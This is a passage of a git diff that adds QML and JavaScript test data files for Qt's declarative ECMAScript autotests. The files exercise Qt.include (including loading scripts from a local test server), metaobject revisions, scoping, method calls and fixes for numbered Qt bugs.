--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include_pragma_inner.js
@@ -0,0 +1,5 @@
+.pragma library
+
+function getValue() {
+ return 100;
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include_pragma_outer.js b/tests/auto/declarative/qdeclarativeecmascript/data/include_pragma_outer.js
new file mode 100644
index 00000000..d87bafc8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include_pragma_outer.js
@@ -0,0 +1,6 @@
+Qt.include("include_pragma_inner.js")
+
+function callFunction() {
+ return getValue();
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include_remote.js b/tests/auto/declarative/qdeclarativeecmascript/data/include_remote.js
new file mode 100644
index 00000000..e6a46768
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include_remote.js
@@ -0,0 +1,26 @@
+var myvar = 10;
+
+function go()
+{
+ var a = Qt.include("http://127.0.0.1:8111/remote_file.js",
+ function(o) {
+ test2 = o.status == o.OK
+ test3 = a.status == a.OK
+ test4 = myvar == 13
+
+ done = true;
+ });
+ test1 = a.status == a.LOADING
+
+
+ var b = Qt.include("http://127.0.0.1:8111/exception.js",
+ function(o) {
+ test7 = o.status == o.EXCEPTION
+ test8 = b.status == a.EXCEPTION
+ test9 = b.exception.toString() == "Whoops!";
+ test10 = o.exception.toString() == "Whoops!";
+
+ done2 = true;
+ });
+ test6 = b.status == b.LOADING
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include_remote.qml b/tests/auto/declarative/qdeclarativeecmascript/data/include_remote.qml
new file mode 100644
index 00000000..0dfc74ff
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include_remote.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+import "include_remote.js" as IncludeTest
+
+QtObject {
+ property bool done: false
+ property bool done2: false
+
+ property bool test1: false
+ property bool test2: false
+ property bool test3: false
+ property bool test4: false
+ property bool test5: false
+
+ property bool test6: false
+ property bool test7: false
+ property bool test8: false
+ property bool test9: false
+ property bool test10: false
+
+ Component.onCompleted: IncludeTest.go();
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include_remote_missing.js b/tests/auto/declarative/qdeclarativeecmascript/data/include_remote_missing.js
new file mode 100644
index 00000000..cc90860c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include_remote_missing.js
@@ -0,0 +1,13 @@
+function go()
+{
+ var a = Qt.include("http://127.0.0.1:8111/missing.js",
+ function(o) {
+ test2 = o.status == o.NETWORK_ERROR
+ test3 = a.status == a.NETWORK_ERROR
+
+ done = true;
+ });
+
+ test1 = a.status == a.LOADING
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include_remote_missing.qml b/tests/auto/declarative/qdeclarativeecmascript/data/include_remote_missing.qml
new file mode 100644
index 00000000..05a73996
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include_remote_missing.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+import "include_remote_missing.js" as IncludeTest
+
+QtObject {
+ property bool done: false
+
+ property bool test1: false
+ property bool test2: false
+ property bool test3: false
+
+ Component.onCompleted: IncludeTest.go();
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include_shared.js b/tests/auto/declarative/qdeclarativeecmascript/data/include_shared.js
new file mode 100644
index 00000000..a49c07bb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include_shared.js
@@ -0,0 +1,12 @@
+.pragma library
+
+var test1 = true
+var test2 = false
+var test3 = false
+
+var testValue = 99;
+
+function go() {
+ Qt.include("js/include2.js");
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/include_shared.qml b/tests/auto/declarative/qdeclarativeecmascript/data/include_shared.qml
new file mode 100644
index 00000000..e9f1c89b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/include_shared.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+import "include_shared.js" as IncludeTest
+
+QtObject {
+ property int test0: 0
+ property bool test1: false
+ property bool test2: false
+ property bool test2_1: false
+ property bool test3: false
+ property bool test3_1: false
+
+ Component.onCompleted: {
+ IncludeTest.go();
+ test0 = IncludeTest.value
+ test1 = IncludeTest.test1
+ test2 = IncludeTest.test2
+ test2_1 = IncludeTest.test2_1
+ test3 = IncludeTest.test3
+ test3_1 = IncludeTest.test3_1
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/invokableObjectArg.qml b/tests/auto/declarative/qdeclarativeecmascript/data/invokableObjectArg.qml
new file mode 100644
index 00000000..6ab25f27
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/invokableObjectArg.qml
@@ -0,0 +1,9 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ id: root
+ Component.onCompleted: {
+ root.myinvokable(root);
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/invokableObjectRet.qml b/tests/auto/declarative/qdeclarativeecmascript/data/invokableObjectRet.qml
new file mode 100644
index 00000000..87b2d7e4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/invokableObjectRet.qml
@@ -0,0 +1,11 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ id: root
+ property bool test: false
+ Component.onCompleted: {
+ test = (root.returnme() == root)
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/js/include2.js b/tests/auto/declarative/qdeclarativeecmascript/data/js/include2.js
new file mode 100644
index 00000000..2a0c039d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/js/include2.js
@@ -0,0 +1,4 @@
+test2 = true
+var test2_1 = true
+
+Qt.include("include3.js");
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/js/include3.js b/tests/auto/declarative/qdeclarativeecmascript/data/js/include3.js
new file mode 100644
index 00000000..84b2770b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/js/include3.js
@@ -0,0 +1,3 @@
+test3 = true
+var test3_1 = true
+var value = testValue
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/jsObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/jsObject.qml
new file mode 100644
index 00000000..e93007ab
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/jsObject.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+QtObject {
+ property int test
+
+ Component.onCompleted: {
+ var o = new Object;
+ o.test = 92;
+ test = o.test;
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/libraryScriptAssert.js b/tests/auto/declarative/qdeclarativeecmascript/data/libraryScriptAssert.js
new file mode 100644
index 00000000..3ffdb339
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/libraryScriptAssert.js
@@ -0,0 +1,6 @@
+.pragma library
+
+function test(target)
+{
+ var a = target.a;
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/libraryScriptAssert.qml b/tests/auto/declarative/qdeclarativeecmascript/data/libraryScriptAssert.qml
new file mode 100644
index 00000000..c0789424
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/libraryScriptAssert.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+import "libraryScriptAssert.js" as Test
+
+QtObject {
+ id: root
+ Component.onCompleted: Test.test(root);
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/listProperties.qml b/tests/auto/declarative/qdeclarativeecmascript/data/listProperties.qml
new file mode 100644
index 00000000..7b940758
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/listProperties.qml
@@ -0,0 +1,24 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ id: root
+
+ objectListProperty: [
+ QtObject { property int a: 10 },
+ QtObject { property int a: 11 }
+ ]
+
+ function calcTest1() {
+ var rv = 0;
+ for (var ii = 0; ii < root.objectListProperty.length; ++ii) {
+ rv += root.objectListProperty[ii].a;
+ }
+ return rv;
+ }
+
+ property int test1: calcTest1();
+ property int test2: root.objectListProperty.length
+ property bool test3: root.objectListProperty[1] != undefined
+ property bool test4: root.objectListProperty[100] == undefined
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/listToVariant.qml b/tests/auto/declarative/qdeclarativeecmascript/data/listToVariant.qml
new file mode 100644
index 00000000..7940ab8c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/listToVariant.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property variant test: children
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml
new file mode 100644
index 00000000..77accd80
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml
@@ -0,0 +1,7 @@
+import Qt.test 1.1
+
+MyRevisionedClass
+{
+ prop1: prop2
+ onSignal1: method2()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml
new file mode 100644
index 00000000..36057cb9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml
@@ -0,0 +1,9 @@
+import Qt.test 1.1
+
+MyRevisionedSubclass
+{
+ prop1: prop3
+ onSignal1: method2()
+ prop3: prop4
+ onSignal3: method4()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml
new file mode 100644
index 00000000..81769e98
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml
@@ -0,0 +1,8 @@
+import Qt.test 1.0
+
+MyRevisionedSubclass
+{
+ prop1: prop3
+ onSignal1: method1()
+ onSignal3: method3()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
new file mode 100644
index 00000000..81ea5366
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml
@@ -0,0 +1,14 @@
+import Qt.test 1.1
+import QtQuick 1.0
+
+QtObject {
+ property variant a
+ property real test
+
+ a: MyRevisionedClass {
+ prop2: 11
+
+ Component.onCompleted: test = prop2
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml
new file mode 100644
index 00000000..44d421e8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyRevisionedClass
+{
+ // Will not hit optimizer
+ property real p1: prop1 % 3
+ property real p2: prop2 % 3
+
+ // Should hit optimizer
+ property real p3: prop2
+
+ Component.onCompleted: method2()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml
new file mode 100644
index 00000000..121642e0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyRevisionedSubclass
+{
+ // Will not hit optimizer
+ property real p1: prop1 % 3
+ property real p2: prop2 % 3
+ property real p3: prop3 % 3
+ property real p4: prop4 % 3
+
+ // Should hit optimizer
+ property real p5: prop1
+ property real p6: prop2
+ property real p7: prop3
+ property real p8: prop4
+
+ Component.onCompleted: {
+ method1()
+ method2()
+ method3()
+ method4()
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml
new file mode 100644
index 00000000..123650e4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml
@@ -0,0 +1,36 @@
+import QtQuick 1.0
+import Qt.test 1.1
+
+MyRevisionedSubclass
+{
+ // Will not hit optimizer
+ property real pA: propA % 3
+ property real pB: propB % 3
+ property real pC: propC % 3
+ property real pD: propD % 3
+ property real p1: prop1 % 3
+ property real p2: prop2 % 3
+ property real p3: prop3 % 3
+ property real p4: prop4 % 3
+
+ // Should hit optimizer
+ property real pE: propA
+ property real pF: propB
+ property real pG: propC
+ property real pH: propD
+ property real p5: prop1
+ property real p6: prop2
+ property real p7: prop3
+ property real p8: prop4
+
+ Component.onCompleted: {
+ methodA()
+ methodB()
+ methodC()
+ methodD()
+ method1()
+ method2()
+ method3()
+ method4()
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/methods.1.qml b/tests/auto/declarative/qdeclarativeecmascript/data/methods.1.qml
new file mode 100644
index 00000000..0bbee16d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/methods.1.qml
@@ -0,0 +1,6 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ id: myObject
+ onBasicSignal: myObject.methodNoArgs()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/methods.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/methods.2.qml
new file mode 100644
index 00000000..9f0c6b15
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/methods.2.qml
@@ -0,0 +1,6 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ id: myObject
+ onBasicSignal: myObject.method(163)
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/methods.3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/methods.3.qml
new file mode 100644
index 00000000..1090b48f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/methods.3.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+QtObject {
+ function testFunction() { return 19; }
+
+ property int test: testFunction()
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/methods.4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/methods.4.qml
new file mode 100644
index 00000000..34c50d66
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/methods.4.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+MethodsObject {
+ function testFunction2() { return 17; }
+ function testFunction3() { return 16; }
+
+ property int test: testFunction()
+ property int test2: testFunction2()
+ property int test3: testFunction3()
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/methods.5.qml b/tests/auto/declarative/qdeclarativeecmascript/data/methods.5.qml
new file mode 100644
index 00000000..bebdf3d8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/methods.5.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+Item {
+ property alias blah: item.x
+ Item { id: item }
+
+ function testFunction() { return 9; }
+ property int test: testFunction();
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/multiEngineObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/multiEngineObject.qml
new file mode 100644
index 00000000..d9c63e67
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/multiEngineObject.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ property string test: thing.stringProperty
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/noSpuriousWarningsAtShutdown.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/noSpuriousWarningsAtShutdown.2.qml
new file mode 100644
index 00000000..9e0bcf09
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/noSpuriousWarningsAtShutdown.2.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+
+ Item {}
+
+ SpuriousWarning {}
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/noSpuriousWarningsAtShutdown.qml b/tests/auto/declarative/qdeclarativeecmascript/data/noSpuriousWarningsAtShutdown.qml
new file mode 100644
index 00000000..7e7da8d7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/noSpuriousWarningsAtShutdown.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+
+ property int childrenCount: root.children.length
+
+ Item {}
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml
new file mode 100644
index 00000000..f9585db0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml
@@ -0,0 +1,5 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ stringProperty: MyQmlContainer.prop
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/nonscriptable.qml b/tests/auto/declarative/qdeclarativeecmascript/data/nonscriptable.qml
new file mode 100644
index 00000000..e86cc961
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/nonscriptable.qml
@@ -0,0 +1,19 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyQmlObject {
+ id: root
+
+ property bool readOk: false;
+ property bool writeOk: false
+
+ Component.onCompleted: {
+ readOk = (root.nonscriptable == undefined);
+
+ try {
+ root.nonscriptable = 10
+ } catch (e) {
+ writeOk = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/nullObjectBinding.qml b/tests/auto/declarative/qdeclarativeecmascript/data/nullObjectBinding.qml
new file mode 100644
index 00000000..cbd2d3e7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/nullObjectBinding.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ property QtObject test
+ test: if (1) model
+ property ListModel model
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/numberAssignment.qml b/tests/auto/declarative/qdeclarativeecmascript/data/numberAssignment.qml
new file mode 100644
index 00000000..30a77e8a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/numberAssignment.qml
@@ -0,0 +1,18 @@
+import Qt.test 1.0
+
+NumberAssignment {
+ test1: if (1) 6.7
+ test2: if (1) "6.7"
+ test3: if (1) 6
+ test4: if (1) "6"
+
+ test5: if (1) 6.7
+ test6: if (1) "6.7"
+ test7: if (1) 6
+ test8: if (1) "6"
+
+ test9: if (1) 6.7
+ test10: if (1) "6.7"
+ test11: if (1) 6
+ test12: if (1) "6"
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/objectName.qml b/tests/auto/declarative/qdeclarativeecmascript/data/objectName.qml
new file mode 100644
index 00000000..ca8c90d8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/objectName.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+QtObject {
+ objectName: "hello"
+
+ property string test1: objectName
+ property string test2: objectName.substr(1, 3)
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/objectsCompareAsEqual.qml b/tests/auto/declarative/qdeclarativeecmascript/data/objectsCompareAsEqual.qml
new file mode 100644
index 00000000..ef0e304a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/objectsCompareAsEqual.qml
@@ -0,0 +1,15 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+
+ property variant item: child
+ Item { id: child }
+
+ property bool test1: child == child
+ property bool test2: child.parent == root
+ property bool test3: root != child
+ property bool test4: item == child
+ property bool test5: item != root
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/outerBindingOverridesInnerBinding.qml b/tests/auto/declarative/qdeclarativeecmascript/data/outerBindingOverridesInnerBinding.qml
new file mode 100644
index 00000000..090c948f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/outerBindingOverridesInnerBinding.qml
@@ -0,0 +1,15 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ id: obj
+ property alias c1: myConstants.c1
+ property alias c2: myConstants.c2
+ property int c3: 0
+
+ objectProperty: ConstantsOverrideBindings {
+ id: myConstants
+ c2: obj.c3
+ }
+
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/ownership.qml b/tests/auto/declarative/qdeclarativeecmascript/data/ownership.qml
new file mode 100644
index 00000000..53427b76
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/ownership.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+QtObject {
+ Component.onCompleted: { var a = getObject(); a = null; }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/propertyAssignmentErrors.qml b/tests/auto/declarative/qdeclarativeecmascript/data/propertyAssignmentErrors.qml
new file mode 100644
index 00000000..a778dcc8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/propertyAssignmentErrors.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+
+ property int a
+ property variant b
+
+ Component.onCompleted: {
+ try {
+ root.a = undefined;
+ } catch(e) {
+ console.log (e.fileName + ":" + e.lineNumber + ":" + e);
+ }
+
+ try {
+ root.a = "Hello";
+ } catch(e) {
+ console.log (e.fileName + ":" + e.lineNumber + ":" + e);
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/propertySplicing.qml b/tests/auto/declarative/qdeclarativeecmascript/data/propertySplicing.qml
new file mode 100644
index 00000000..7deb84a1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/propertySplicing.qml
@@ -0,0 +1,10 @@
+import Qt.test 1.0
+import QtQuick 1.0
+
+MyDerivedObject {
+ property bool test: false
+
+ Component.onCompleted: {
+ test = intProperty()
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/qlistqobjectMethods.qml b/tests/auto/declarative/qdeclarativeecmascript/data/qlistqobjectMethods.qml
new file mode 100644
index 00000000..2e9e1736
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/qlistqobjectMethods.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+QtObject {
+ property int test: getObjects().length
+ property bool test2: getObjects()[0].trueProperty
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_10696.qml b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_10696.qml
new file mode 100644
index 00000000..02357d45
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_10696.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.0
+
+QtObject {
+ property string test: "aaaa"
+ + "bbbb"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc"
+ + "cccc";
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11600.js b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11600.js
new file mode 100644
index 00000000..092bc2b0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11600.js
@@ -0,0 +1 @@
+;
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11600.qml b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11600.qml
new file mode 100644
index 00000000..b7bb3666
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11600.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+import "qtbug_11600.js" as Test
+
+QtObject {
+ id: goo
+
+ property bool test: undefined == goo.Test.foo
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11606.qml b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11606.qml
new file mode 100644
index 00000000..05c482ca
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11606.qml
@@ -0,0 +1,12 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool test: false
+ Component.onCompleted: {
+ try {
+ console.log(sorryNoSuchProperty);
+ } catch (e) {
+ test = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_20648.qml b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_20648.qml
new file mode 100644
index 00000000..40f21ef7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_20648.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool hd: true
+
+ property real test: ((hd ? 100 : 20) + 0)
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_9792.qml b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_9792.qml
new file mode 100644
index 00000000..9ac44308
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/qtbug_9792.qml
@@ -0,0 +1,5 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ onBasicSignal: print("Hello world!");
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/qtcreatorbug_1289.qml b/tests/auto/declarative/qdeclarativeecmascript/data/qtcreatorbug_1289.qml
new file mode 100644
index 00000000..e531efcd
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/qtcreatorbug_1289.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+
+QtObject {
+ id: root
+ property QtObject object: QtObject {
+ id: nested
+ property QtObject nestedObject
+ }
+
+ Component.onCompleted: {
+ nested.nestedObject = root;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/realToInt.qml b/tests/auto/declarative/qdeclarativeecmascript/data/realToInt.qml
new file mode 100644
index 00000000..cbbbbf92
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/realToInt.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyQmlObject {
+ function test1() {
+ value = 4.2
+ }
+ function test2() {
+ value = 7.9
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/regExp.qml b/tests/auto/declarative/qdeclarativeecmascript/data/regExp.qml
new file mode 100644
index 00000000..0dc404b5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/regExp.qml
@@ -0,0 +1,7 @@
+import Qt.test 1.0
+
+MyQmlObject{
+ id: obj
+ objectName: "obj"
+ regExp: /[a-zA-z]/
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/remote_file.js b/tests/auto/declarative/qdeclarativeecmascript/data/remote_file.js
new file mode 100644
index 00000000..1b123aee
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/remote_file.js
@@ -0,0 +1,2 @@
+myvar = 13;
+test5 = true;
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scope.2.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scope.2.qml
new file mode 100644
index 00000000..9555b7f9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scope.2.qml
@@ -0,0 +1,40 @@
+import QtQuick 1.0
+
+Item {
+ property int a: 0
+ property int b: 14
+
+ function b() { return 11; }
+ function c() { return 33; }
+
+ QtObject {
+ id: a
+ property int value: 19
+ }
+
+ QtObject {
+ id: c
+ property int value: 24
+ }
+
+ QtObject {
+ id: nested
+ property int a: 1
+ property int test: a.value
+ property int test2: b
+ property int test3: c.value
+ }
+
+
+ // id takes precedence over local, and root properties
+ property int test1: a.value
+ property alias test2: nested.test
+
+ // properties takes precedence over local, and root methods
+ property int test3: b
+ property alias test4: nested.test2
+
+ // id takes precedence over methods
+ property int test5: c.value
+ property alias test6: nested.test3
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scope.3.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scope.3.qml
new file mode 100644
index 00000000..0b0770e6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scope.3.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+import Qt.test 1.0
+
+MyQmlObject {
+ id: root
+
+ property int foo: 12
+
+ property bool test1: foo == 12
+ property bool test2: console != 11
+ property bool test3: root.console == 11
+}
+
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scope.4.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scope.4.qml
new file mode 100644
index 00000000..d65b6e7c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scope.4.qml
@@ -0,0 +1,12 @@
+import Qt.test 1.0
+
+MyQmlObject {
+ id: a
+ property int b: 9
+
+ property int test
+ property string test2
+
+ // Should resolve to signal arguments, not to other elements in the file
+ onArgumentSignal: { test = a; test2 = b; }
+}
diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/scope.qml b/tests/auto/declarative/qdeclarativeecmascript/data/scope.qml
new file mode 100644
index 00000000..63dba2fc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeecmascript/data/scope.qml
@@ -0,0 +1,44 @@
+import QtQuick 1.0
+
+Item {
+ id: root
+
+ property int a: 1
+ property int binding: a
+ property string binding2: a + "Test"
+ property int binding3: myFunction()
+ property int binding4: nestedObject.myNestedFunction()
+
+ function myFunction() {
+ return a;
+ }
+
+ Item {
+ id: nestedObject
+
+ function myNestedFunction() {
+ return a;
+ }
+
+ property int a: 2
+ property int binding: a
+ property string binding2: a + "Test"
